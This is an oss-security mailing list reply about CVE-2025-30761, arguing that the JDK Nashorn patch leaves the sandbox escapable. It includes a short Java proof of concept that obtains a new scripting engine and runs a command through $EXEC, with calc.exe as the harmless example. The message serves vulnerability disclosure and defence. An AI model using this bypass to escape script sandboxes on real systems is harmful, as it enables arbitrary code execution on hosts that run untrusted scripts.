Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <2aef7fe7-ba3d-4d6f-bcc4-19163beaaea2@eenterphace.org>
Date: Sun, 20 Jul 2025 18:26:27 +0200
From: Moritz Bechler <mbechler@...terphace.org>
To: oss-security@...ts.openwall.com, liyajie <liyajie@...neuler.sh>
Subject: Re: CVE-2025-30761:A vulnerability in JDK's Nashorn Allows for Arbitrary Code Execution

Hi,


interesting that they "fixed" this issue now. Way back 
(<https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/>) reporting 
something similar, I was told that Nashorn "sandboxing" was not supposed 
to be secure unless you also configure a SecurityManager (which 
implicitly suppresses the "engine" property). Restrictions purely based 
on a ClassFilter have been broken ever since then.

And the patch really does not address the fundamental issue, which is 
that you are able to get and configure a new engine. While the change 
may stop you from suppressing the inherited no-java flag, why not get 
direct command execution using another option instead:

System.setProperty("nashorn.args", "--no-java");
ScriptEngine e = new ScriptEngineManager().getEngineByName("nashorn");
String cmd =
"this.engine.factory.getScriptEngine(\"scripting\").eval('$EXEC(\"calc.exe\")')";
e.eval(cmd);



So, imho, the proper advice still should be not to use Nashorn for 
running untrusted code.



best regards

Moritz






Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.